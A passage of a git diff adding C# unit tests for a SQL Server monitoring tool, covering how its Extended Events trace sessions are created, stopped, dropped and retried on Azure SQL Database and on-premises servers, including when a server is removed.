+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(262, 14, "ALTER EVENT SESSION permission denied.")
+            : null;
+
+        await rig.ReconcileAsync();
+
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.Contains(rig.Logger.Entries, e => e.Level >= LogLevel.Warning);
+    }
+
+    /* ── Azure SQL Database: a drop stops the session over the replica, then drops the definition over the primary ── */
+
+    [Fact]
+    public async Task Azure_TurningTheTraceOff_ForAReadOnlyIntentRegistration_StopsOverItsOwnConnection_ThenDropsOverAReadWriteOne()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+
+        await rig.ReconcileAsync(enabled: false);
+
+        var drops = rig.OwnDrops();
+        Assert.Equal(new[] { LongQueryTraceStep.Stop, LongQueryTraceStep.Drop }, drops.Select(d => d.Step));
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite }, drops.Select(d => IntentOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", DatabaseOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", d.Database));
+        Assert.Empty(rig.Steps);
+    }
+
+    [Fact]
+    public async Task Azure_TurningTheTraceOff_ForARegistrationWithoutReadOnlyIntent_DropsOnceOverItsOwnConnection()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+
+        await rig.ReconcileAsync(enabled: false);
+
+        var drop = Assert.Single(rig.OwnDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, drop.Step);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(drop.ConnectionString));
+        Assert.Equal("beta", DatabaseOf(drop.ConnectionString));
+    }
+
+    [Fact]
+    public async Task Azure_TheOneTimeDropOfTheLegacySession_ForAReadOnlyIntentRegistration_FollowsTheSameOrder()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        var drops = rig.LegacyDrops();
+        Assert.Equal(new[] { LongQueryTraceStep.Stop, LongQueryTraceStep.Drop }, drops.Select(d => d.Step));
+        Assert.Equal(new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite }, drops.Select(d => IntentOf(d.ConnectionString)));
+        Assert.All(drops, d => Assert.Equal("beta", DatabaseOf(d.ConnectionString)));
+    }
+
+    [Fact]
+    public async Task Azure_TheOneTimeDropOfTheLegacySession_ForARegistrationWithoutReadOnlyIntent_IsOneDropOverItsOwnConnection()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        var drop = Assert.Single(rig.LegacyDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, drop.Step);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(drop.ConnectionString));
+    }
+
+    [Fact]
+    public async Task Azure_ADatabaseAnotherRegistrationKeeps_GetsNeitherStepOfTheDrop()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: true);
+        var other = new LongQueryTraceRegistration("77", Host, Database: null, Enabled: true, TraceOn: true, Array.Empty<string>(), DatabaseScope: null);
+
+        await rig.ReconcileAsync(enabled: false, new[] { other });
+
+        Assert.Empty(rig.OwnDrops());
+    }
+
+    /* ── Every other engine ── */
+
+    [Fact]
+    public async Task OnPrem_AReadOnlyIntentRegistration_CreatesAndStartsItsSessionOverItsOwnConnection()
+    {
+        var rig = BuildRig("app", readOnlyIntent: true, azureSqlDatabase: false);
+
+        await rig.ReconcileAsync();
+
+        var step = Assert.Single(rig.Steps);
+        Assert.Equal(LongQueryTraceStep.CreateAndStart, step.Step);
+        Assert.Equal(string.Empty, step.Database);
+        Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(step.ConnectionString));
+        Assert.Equal(rig.State.Runtime!.ConnectionString, step.ConnectionString);
+    }
+
+    [Fact]
+    public async Task OnPrem_TurningTheTraceOff_DropsOnceOverTheRegistrationsOwnConnection()
+    {
+        var rig = BuildRig("app", readOnlyIntent: true, azureSqlDatabase: false);
+
+        await rig.ReconcileAsync(enabled: false);
+
+        var own = Assert.Single(rig.OwnDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, own.Step);
+        Assert.Equal(string.Empty, own.Database);
+        Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(own.ConnectionString));
+        Assert.Equal(rig.State.Runtime!.ConnectionString, own.ConnectionString);
+
+        var legacy = Assert.Single(rig.LegacyDrops());
+        Assert.Equal(LongQueryTraceStep.Drop, legacy.Step);
+        Assert.Equal(rig.State.Runtime!.ConnectionString, legacy.ConnectionString);
+    }
+
+    /* ── A registration that lands on a read-only database without the intent ── */
+
+    [Fact]
+    public async Task Azure_AReadOnlyDatabaseWithoutTheIntent_LogsOneClearMessage_KeepsTheFault_AndDoesNotRetryInALoop()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+        rig.Refusal = step => step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop ? null : ReadOnlyDatabaseRefusal();
+
+        await rig.ReconcileAsync();
+
+        /* One line at Warning or above, whatever it says: the read-only message, which says why and what to change. */
+        var loud = Assert.Single(rig.Loud());
+        Assert.Equal(rig.ReadOnlyLine("beta"), loud);
+        Assert.Contains("read-only", loud, StringComparison.Ordinal);
+        Assert.Contains("3906", loud, StringComparison.Ordinal);
+        Assert.Contains("Register the primary database instead", loud, StringComparison.Ordinal);
+        Assert.Contains("turn the long-query trace off", loud, StringComparison.Ordinal);
+
+        /* The run still records the fault. */
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.Single(rig.Steps);
+
+        /* Within the hour: no attempt, no line, and the fault stays. */
+        rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        Assert.Single(rig.Steps);
+        Assert.Equal(new[] { rig.ReadOnlyLine("beta") }, rig.Loud());
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+
+        /* An hour after the first attempt: one more, and it logs at Debug, so the one message stays the only one. */
+        rig.Clock += TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        Assert.Equal(2, rig.Steps.Count);
+        Assert.Equal(new[] { rig.ReadOnlyLine("beta") }, rig.Loud());
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+    }
+
+    [Fact]
+    public async Task Azure_AReadOnlyDatabaseWithoutTheIntent_TheFaultNamesTheSessionNotTheDatabaseError()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+        rig.Refusal = step => step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop ? null : ReadOnlyDatabaseRefusal();
+
+        await rig.ReconcileAsync();
+
+        Assert.Contains(
+            LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue),
+            rig.State.LongQueryTraceFault,
+            StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Azure_ARefusalThatIsNotReadOnly_StillRetriesOnEverySweep()
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+        /* Not a permission denial: 262 is one now (#5378), and a denial backs off like a read-only refusal. */
+        rig.Refusal = _ => SqlExceptionFactory.Create(1105, 17, "Could not allocate space for the event session.");
+
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+
+        Assert.Equal(3, rig.Steps.Count);
+    }
+
+    /* ── A denied create is a permission state (#5378) ── */
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task ADeniedCreate_IsAPermissionFault_BacksOffToTheHourlyPass_AndIsTriedAgainOnAReconnect(bool azureSqlDatabase)
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false, azureSqlDatabase);
+        rig.Refusal = step => step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop
+            ? null
+            : SqlExceptionFactory.Create(15247, 14, "User does not have permission to perform this action.");
+
+        await rig.ReconcileAsync();
+
+        /* The run records PERMISSIONS from the kept fault, and the message says what to grant. */
+        Assert.True(rig.State.LongQueryTraceFaultIsPermission);
+        Assert.Contains("ALTER ANY EVENT SESSION", rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+        Assert.Single(rig.Steps);
+        var loudAfterTheFirst = rig.Loud().Count;
+        Assert.NotEqual(0, loudAfterTheFirst);
+
+        /* Within the hour: the create is not run again, on any sweep, no line repeats, and the fault stays. */
+        rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        Assert.Single(rig.Steps);
+        Assert.Equal(loudAfterTheFirst, rig.Loud().Count);
+        Assert.True(rig.State.LongQueryTraceFaultIsPermission);
+
+        /* A reconnect resets the latch, as it does for every other reconcile: the login may have been granted since. */
+        rig.State.LongQueryTraceApplied = null;
+        rig.State.LongQueryTraceAppliedKey = null;
+        rig.State.LongQueryTraceAppliedAtUtc = null;
+        rig.Refusal = _ => null;
+        await rig.ReconcileAsync();
+        Assert.Equal(2, rig.Steps.Count);
+        Assert.Null(rig.State.LongQueryTraceFault);
+        Assert.False(rig.State.LongQueryTraceFaultIsPermission);
+    }
+
+    /* ── A failed create or start on Azure SQL Database carries the caps sentence (#4961, plan test 27) ── */
+
+    private static bool Speaks(string line, string text) => line.Contains(text, StringComparison.Ordinal);
+
+    private static List<string> LoggedLines(Rig rig) => rig.Logger.Entries.Select(e => e.Message).ToList();
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Azure_AFailedCreateOrStart_CarriesTheCapsSentence_InTheLoggedLineAndTheRecordedFault(bool start)
+    {
+        /* A registration without the intent creates and starts in one step. One with it creates the definition, then starts. */
+        var rig = BuildRig("beta", readOnlyIntent: start);
+        var refused = start ? LongQueryTraceStep.Start : LongQueryTraceStep.CreateAndStart;
+        rig.Refusal = step => step == refused ? SqlExceptionFactory.Create(1105, 17, "The statement was refused.") : null;
+
+        await rig.ReconcileAsync();
+
+        Assert.Contains(LoggedLines(rig), line => Speaks(line, "The statement was refused.") && Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.Contains(AlwaysOnXeSessions.AzureCapsSentence, rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task OnPrem_AFailedCreate_CarriesNoCapsSentence()
+    {
+        var rig = BuildRig("app", readOnlyIntent: false, azureSqlDatabase: false);
+        rig.Refusal = _ => SqlExceptionFactory.Create(1105, 17, "The statement was refused.");
+
+        await rig.ReconcileAsync();
+
+        var lines = LoggedLines(rig);
+        Assert.Contains(lines, line => Speaks(line, "The statement was refused."));
+        Assert.DoesNotContain(lines, line => Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(25631)]
+    [InlineData(25705)]
+    public async Task Azure_AnAlreadyThereAnswer_CarriesNoCapsSentence(int number)
+    {
+        var rig = BuildRig("beta", readOnlyIntent: false);
+        rig.Refusal = _ => SqlExceptionFactory.Create(number, 16, "The session is already there.");
+
+        await rig.ReconcileAsync();
+
+        Assert.DoesNotContain(LoggedLines(rig), line => Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Azure_AReadOnlyDatabasesRefusalOfACreateOrStart_CarriesNoCapsSentence(bool start)
+    {
+        var rig = BuildRig("beta", readOnlyIntent: start);
+        var refused = start ? LongQueryTraceStep.Start : LongQueryTraceStep.CreateAndStart;
+        rig.Refusal = step => step == refused ? ReadOnlyDatabaseRefusal() : null;
+
+        await rig.ReconcileAsync();
+
+        Assert.DoesNotContain(LoggedLines(rig), line => Speaks(line, AlwaysOnXeSessions.AzureCapsSentence));
+        Assert.NotNull(rig.State.LongQueryTraceFault);
+        Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, rig.State.LongQueryTraceFault, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Azure_APartialFailureOfTheCreate_CarriesTheCapsSentenceInTheRunsNote_UnlessItIsAReadOnlyRefusal(bool readOnlyRefusal)
+    {
+        /* One of two databases refuses the create: the run reads the other, and its note says the first is not in it. */
+        var rig = BuildRig("beta", readOnlyIntent: false);
+        rig.Listed = new List<string> { "beta", "gamma" };
+        rig.Runner.LongQueryTraceStepOverrideForTests = (_, databaseName, _, _, _, _) =>
+            databaseName == "beta"
+                ? Task.FromException(readOnlyRefusal ? ReadOnlyDatabaseRefusal() : SqlExceptionFactory.Create(1105, 17, "The statement was refused."))
+                : Task.CompletedTask;
+
+        await rig.ReconcileAsync();
+
+        var note = rig.State.LongQueryTracePartialNote;
+        Assert.NotNull(note);
+        Assert.Contains("beta", note, StringComparison.Ordinal);
+        if (readOnlyRefusal)
+        {
+            Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, note, StringComparison.Ordinal);
+        }
+        else
+        {
+            Assert.Contains("The statement was refused.", note, StringComparison.Ordinal);
+            Assert.Contains(AlwaysOnXeSessions.AzureCapsSentence, note, StringComparison.Ordinal);
+        }
+    }
+
+    private static SqlException ReadOnlyDatabaseRefusal() =>
+        SqlExceptionFactory.Create(LongQueryTraceDatabases.ReadOnlyDatabaseErrorNumber, 16, "Failed to update database because the database is read-only.");
+
+    /// <summary>SqlException has no public constructor; this builds one through the driver's internals.</summary>
+    internal static class SqlExceptionFactory
+    {
+        public static SqlException Create(int number, byte errorClass, string message)
+        {
+            const BindingFlags all = BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance | BindingFlags.Static;
+            var errorCtor = typeof(SqlError).GetConstructors(BindingFlags.NonPublic | BindingFlags.Instance)
+                .OrderByDescending(c => c.GetParameters().Length).First();
+            var ints = new Queue<object>(new object[] { number, 0, 0, 0 });
+            var bytes = new Queue<object>(new object[] { (byte)0, errorClass, (byte)0, (byte)0 });
+            var strings = new Queue<object>(new object[] { "server", message, "procedure", "extra", "extra" });
+            var args = errorCtor.GetParameters().Select(p =>
+                p.ParameterType == typeof(int) ? ints.Dequeue()
+                : p.ParameterType == typeof(byte) ? bytes.Dequeue()
+                : p.ParameterType == typeof(string) ? strings.Dequeue()
+                : p.ParameterType == typeof(uint) ? (object)0u
+                : p.ParameterType == typeof(Exception) ? null!
+                : p.HasDefaultValue ? p.DefaultValue! : throw new InvalidOperationException($"unmapped SqlError ctor parameter {p.ParameterType}")).ToArray();
+            var error = errorCtor.Invoke(args);
+
+            var collection = Activator.CreateInstance(typeof(SqlErrorCollection), true)!;
+            typeof(SqlErrorCollection).GetMethod("Add", all, null, new[] { typeof(SqlError) }, null)!.Invoke(collection, new[] { error });
+
+            var create = typeof(SqlException).GetMethods(all)
+                .Where(m => m.Name == "CreateException" && m.GetParameters().Length >= 2
+                    && m.GetParameters()[0].ParameterType == typeof(SqlErrorCollection)
+                    && m.GetParameters()[1].ParameterType == typeof(string))
+                .OrderBy(m => m.GetParameters().Length).First();
+            var createArgs = create.GetParameters().Select((p, i) =>
+                i == 0 ? collection
+                : i == 1 ? "11.0"
+                : p.ParameterType == typeof(Guid) ? Guid.Empty
+                : p.HasDefaultValue ? p.DefaultValue! : null!).ToArray();
+            return (SqlException)create.Invoke(null, createArgs)!;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/LongQueryTraceRemovalTests.cs b/Darling/Darling.Tests/LongQueryTraceRemovalTests.cs
new file mode 100644
index 0000000000..e87c58ba94
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryTraceRemovalTests.cs
@@ -0,0 +1,575 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+using LogLevel = Microsoft.Extensions.Logging.LogLevel;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Removing a server drops this install's Extended Events sessions on it, and nothing else (#4961): the long-query
+/// trace's session, then the deadlock and blocked-process sessions this install chose for itself in the server's
+/// databases. Each test drives the removal's real step with the database list and the per-database work replaced on the
+/// runner, so no server or store is needed.
+/// </summary>
+public sealed class LongQueryTraceRemovalTests : IAsyncDisposable
+{
+    private const string Host = "lqremoval.database.windows.net";
+    private const string InstallIdValue = "0a1b2c3d";
+    private static readonly string OwnSession = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue);
+
+    /* Never opened: the runner reaches the store only to write collected rows, and these tests collect nothing. */
+    private readonly NpgsqlDataSource _store = NpgsqlDataSource.Create("Host=127.0.0.1;Port=1;Database=unused;Username=unused");
+
+    public ValueTask DisposeAsync() => _store.DisposeAsync();
+
+    private sealed class RecordingDatabase : IAlwaysOnXeDatabase
+    {
+        private readonly List<string> _statements;
+
+        public RecordingDatabase(List<string> statements) => _statements = statements;
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken) =>
+            Task.FromResult(AlwaysOnXeCatalog.Present);
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) => Task.FromResult(true);
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            _statements.Add(statement);
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => false;
+    }
+
+    private sealed class Rig
+    {
+        public required DarlingCollectorRunner Runner { get; init; }
+        public required MonitoredServer Config { get; init; }
+        public required ServerRuntime Runtime { get; init; }
+        public bool? TraceApplied { get; set; } = true;
+        public DarlingSelfAlertTests.CapturingLogger Logger { get; } = new();
+
+        /* What the logical server's master lists, before the registration's exclusions. */
+        public List<string> Listed { get; } = new() { "master", "alpha", "beta", "gamma" };
+        public int ListCalls { get; set; }
+
+        /* The per-install session's work: the database each call ran in (the server's own session is the empty name). */
+        public List<(string Database, bool Create)> Calls { get; } = new();
+        public List<string> Names { get; } = new();
+        public HashSet<string> Refuse { get; } = new(StringComparer.OrdinalIgnoreCase);
+        public Func<CancellationToken, Task>? Hang { get; set; }
+
+        /* The legacy session's drops, which a removal never runs. */
+        public List<string> LegacyCalls { get; } = new();
+        public LongQueryTraceLifecycleTests.InMemoryLegacyRecords Records { get; } = new();
+
+        /* The statements the always-on fallbacks' drops ran, by database. */
+        public Dictionary<string, List<string>> Statements { get; } = new(StringComparer.OrdinalIgnoreCase);
+
+        /* The registrations that remain, the ids among them whose long-query trace is on, and what the on-premises guard says. */
+        public List<MonitoredServer> Remaining { get; } = new();
+        public HashSet<int> TraceOn { get; } = new();
+        public LongQueryTraceInstanceGuard Guard { get; set; } = LongQueryTraceInstanceGuard.NoKeepers;
+
+        public RemovedLongQueryServer Removed => new(Config, Runtime, TraceApplied);
+
+        public IEnumerable<string> Dropped => Calls.Where(c => !c.Create).Select(c => c.Database);
+
+        public Task RemoveAsync(CancellationToken cancellationToken = default) =>
+            DarlingRemovedServerSessions.DropAsync(
+                Removed, Runner, Remaining, id => TraceOn.Contains(id), _ => Task.FromResult(Guard), Logger, cancellationToken);
+    }
+
+    private Rig BuildRig(bool azureSqlDatabase = true, string? installId = InstallIdValue)
+    {
+        var config = new MonitoredServer { Name = "lqremoval", Host = azureSqlDatabase ? Host : "lqremoval-sql" };
+        var runtime = new ServerRuntime
+        {
+            Config = config,
+            ConnectionString = $"Server=tcp:{config.Host},1433;Initial Catalog=master;Encrypt=True",
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azureSqlDatabase },
+            StorageName = config.StorageName,
+            ServerId = config.ServerId,
+        };
+
+        var runner = new DarlingCollectorRunner(
+            _store,
+            new CollectorDeltaCalculator(),
+            databaseScope: (_, _) => new List<string>(),
+            separatelyMonitoredDatabases: _ => new List<string>(),
+            installId: () => installId);
+
+        var rig = new Rig { Runner = runner, Config = config, Runtime = runtime };
+        runner.LegacyLongQueryRecordsForTests = rig.Records;
+        runner.LongQueryTraceListOverrideForTests = (_, _, _, _) =>
+        {
+            rig.ListCalls++;
+            return Task.FromResult(rig.Listed.ToList());
+        };
+
+        runner.LongQueryTraceDatabaseOverrideForTests = async (_, database, create, sessionName, token) =>
+        {
+            if (sessionName == LongQueryCompletionsCollector.LegacyXeSessionName)
+            {
+                rig.LegacyCalls.Add(database);
+                return;
+            }
+
+            rig.Calls.Add((database, create));
+            rig.Names.Add(sessionName);
+            if (rig.Hang is { } hang)
+            {
+                await hang(token);
+            }
+
+            if (rig.Refuse.Contains(database))
+            {
+                throw new InvalidOperationException($"The drop was refused in {database}.");
+            }
+        };
+
+        runner.AlwaysOnXeDatabaseForTests = (_, database, _) =>
+        {
+            if (!rig.Statements.TryGetValue(database, out var list))
+            {
+                rig.Statements[database] = list = new List<string>();
+            }
+
+            return Task.FromResult<IAlwaysOnXeDatabase>(new RecordingDatabase(list));
+        };
+
+        return rig;
+    }
+
+    /// <summary>
+    /// Another registration of the logical server, with read-only intent so that it has an id of its own: the id comes from
+    /// the host, the database and the intent, not the name.
+    /// </summary>
+    private static MonitoredServer Another(string host, params string[] excluded) =>
+        new() { Name = "lqremoval-other", Host = host, ReadOnlyIntent = true, ExcludedDatabases = excluded.ToList() };
+
+    private static string KeyOf(MonitoredServer server) => server.ServerId.ToString(CultureInfo.InvariantCulture);
+
+    private static string Drop(Rig rig, AlwaysOnXeSessionKind kind) =>
+        AlwaysOnXeSessions.BuildAzureDropSql(kind, rig.Runner.AlwaysOnOwnSessionName(kind)!);
+
+    private static LongQueryTraceInstance Instance(bool traceOn, string? name) => new(Enabled: true, TraceOn: traceOn, name);
+
+    /// <summary>
+    /// The removal's drop, Azure: this install's session in each listed database but master, and not in a database where
+    /// another registration of the logical server keeps it. The legacy session's one-time drop is not the removal's.
+    /// </summary>
+    [Fact]
+    public async Task Removal_Azure_DropsThisInstallsSessionEverywhere_ExceptWhereAnotherRegistrationKeepsIt()
+    {
+        var rig = BuildRig();
+        /* A second registration of the logical server, with its trace on, keeps the session in the one database it does not exclude. */
+        var other = Another(Host, "alpha", "gamma");
+        rig.Remaining.Add(other);
+        rig.TraceOn.Add(other.ServerId);
+        Assert.NotEqual(rig.Config.ServerId, other.ServerId);
+
+        await rig.RemoveAsync();
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Dropped);
+        Assert.DoesNotContain(rig.Calls, c => c.Create);
+        Assert.Equal(rig.Calls.Count, rig.Names.Count);
+        Assert.All(rig.Names, name => Assert.Equal(OwnSession, name));
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Equal(0, rig.Records.Reads);
+        Assert.Equal(0, rig.Records.Writes);
+    }
+
+    /// <summary>With no other registration, every listed database but master loses the session.</summary>
+    [Fact]
+    public async Task Removal_Azure_DropsEveryListedDatabaseButMaster_WhenNoOtherRegistrationKeepsIt()
+    {
+        var rig = BuildRig();
+
+        await rig.RemoveAsync();
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_DropsThisInstallsServerScopedSession_Once()
+    {
+        var rig = BuildRig(azureSqlDatabase: false);
+
+        await rig.RemoveAsync();
+
+        var drop = Assert.Single(rig.Calls);
+        Assert.False(drop.Create);
+        Assert.Equal(string.Empty, drop.Database);
+        Assert.Equal(OwnSession, Assert.Single(rig.Names));
+        Assert.Empty(rig.LegacyCalls);
+        Assert.Equal(0, rig.Records.Reads);
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_LeavesTheSession_WhileAnotherRegistrationOfTheSameInstanceKeepsIt_AndSaysSo()
+    {
+        var rig = BuildRig(azureSqlDatabase: false);
+        rig.Guard = new LongQueryTraceInstanceGuard("sql01", new[] { Instance(traceOn: true, "SQL01") });
+
+        await rig.RemoveAsync();
+
+        Assert.Empty(rig.Calls);
+        Assert.Contains(rig.Logger.Entries, e =>
+            e.Level == LogLevel.Information
+            && e.Message.Contains(rig.Config.DisplayName, StringComparison.Ordinal)
+            && e.Message.Contains("keeps it on the same instance", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_WithNoNameKnown_LeavesTheSession_WhenAnotherRegistrationCouldKeepIt_AndSaysWhy()
+    {
+        var rig = BuildRig(azureSqlDatabase: false);
+        rig.Guard = new LongQueryTraceInstanceGuard(null, new[] { Instance(traceOn: true, "sql01") });
+
+        await rig.RemoveAsync();
+
+        Assert.Empty(rig.Calls);
+        Assert.Contains(rig.Logger.Entries, e =>
+            e.Level == LogLevel.Information
+            && e.Message.Contains(rig.Config.DisplayName, StringComparison.Ordinal)
+            && e.Message.Contains("instance name is not known", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_WithNoNameKnown_StillDrops_WhenNoOtherRegistrationCouldKeepIt()
+    {
+        var rig = BuildRig(azureSqlDatabase: false);
+        rig.Guard = new LongQueryTraceInstanceGuard(null, new[] { Instance(traceOn: false, "sql01") });
+
+        await rig.RemoveAsync();
+
+        Assert.Single(rig.Calls, c => !c.Create);
+    }
+
+    [Fact]
+    public async Task Removal_OnPremises_DropsTheSession_WhenTheOtherRegistrationOfTheInstanceHasItsTraceOff()
+    {
+        var rig = BuildRig(azureSqlDatabase: false);
+        rig.Guard = new LongQueryTraceInstanceGuard("sql01", new[] { Instance(traceOn: false, "sql01") });
+
+        await rig.RemoveAsync();
+
+        Assert.Single(rig.Calls, c => !c.Create);
+    }
+
+    /// <summary>A server whose last finished reconcile dropped the session has none to remove, so the removal opens nothing on it.</summary>
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task Removal_OfAServerWhoseTraceIsOff_TouchesNothing(bool azureSqlDatabase)
+    {
+        var rig = BuildRig(azureSqlDatabase);
+        rig.TraceApplied = false;
+        var guardAsked = false;
+
+        await DarlingRemovedServerSessions.DropAsync(
+            rig.Removed, rig.Runner, rig.Remaining, _ => false, _ => { guardAsked = true; return Task.FromResult(rig.Guard); }, rig.Logger, CancellationToken.None);
+
+        Assert.Empty(rig.Calls);
+        Assert.Equal(0, rig.ListCalls);
+        Assert.False(guardAsked);
+        Assert.Empty(rig.Statements);
+    }
+
+    /// <summary>One attempt, and nothing it hits stops the removal: a refused drop, a token that has run out, and a drop that hangs past the timeout all return.</summary>
+    [Fact]
+    public async Task Removal_ADropThatFails_OrTimesOut_NeverThrows_AndTriesOnce()
+    {
+        var rig = BuildRig();
+        rig.Refuse.Add("beta");
+
+        await rig.RemoveAsync();
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+        Assert.Contains(rig.Logger.Entries, e =>
+            e.Level == LogLevel.Warning
+            && e.Message.Contains(rig.Config.DisplayName, StringComparison.Ordinal)
+            && e.Message.Contains("removed", StringComparison.OrdinalIgnoreCase));
+
+        rig.Calls.Clear();
+        using var spent = new CancellationTokenSource();
+        spent.Cancel();
+        await rig.RemoveAsync(spent.Token);
+        Assert.Empty(rig.Calls);
+
+        rig.Calls.Clear();
+        rig.Refuse.Clear();
+        rig.Logger.Entries.Clear();
+        rig.Hang = token => Task.Delay(Timeout.Infinite, token);
+        using var timeout = new CancellationTokenSource(TimeSpan.FromMilliseconds(100));
+        await rig.RemoveAsync(timeout.Token);
+
+        Assert.Single(rig.Calls);
+        Assert.Contains(rig.Logger.Entries, e =>
+            e.Level == LogLevel.Warning
+            && e.Message.Contains(rig.Config.DisplayName, StringComparison.Ordinal)
+            && e.Message.Contains("not dropped within", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task Removal_WithNoInstallId_DropsNothing()
+    {
+        var rig = BuildRig(installId: null);
+
+        await rig.RemoveAsync();
+
+        Assert.Empty(rig.Calls);
+        Assert.Equal(0, rig.ListCalls);
+        Assert.Empty(rig.Statements);
+    }
+
+    /// <summary>
+    /// The deadlock and blocked-process sessions this install chose for itself in the removed server's databases are dropped
+    /// by their own names, except in a database where another registration of the same server reads its own session. A
+    /// database where the install reads the shared session is left alone: the shared session is never dropped. The server's
+    /// choices are forgotten.
+    /// </summary>
+    [Fact]
+    public async Task Removal_Azure_DropsTheDeadlockAndBlockedProcessSessionsThisInstallChose_NeverTheSharedOnes()
+    {
+        var rig = BuildRig();
+        rig.TraceApplied = false;
+        var other = Another(Host);
+        rig.Remaining.Add(other);
+        var choices = rig.Runner.AlwaysOnChoices;
+        var key = KeyOf(rig.Config);
+        choices.Set(key, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(key, "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+        choices.Set(key, "beta", AlwaysOnXeSessionKind.BlockedProcess, AlwaysOnXeChoice.Own);
+        choices.Set(key, "gamma", AlwaysOnXeSessionKind.BlockedProcess, AlwaysOnXeChoice.Shared);
+        choices.Set(KeyOf(other), "beta", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
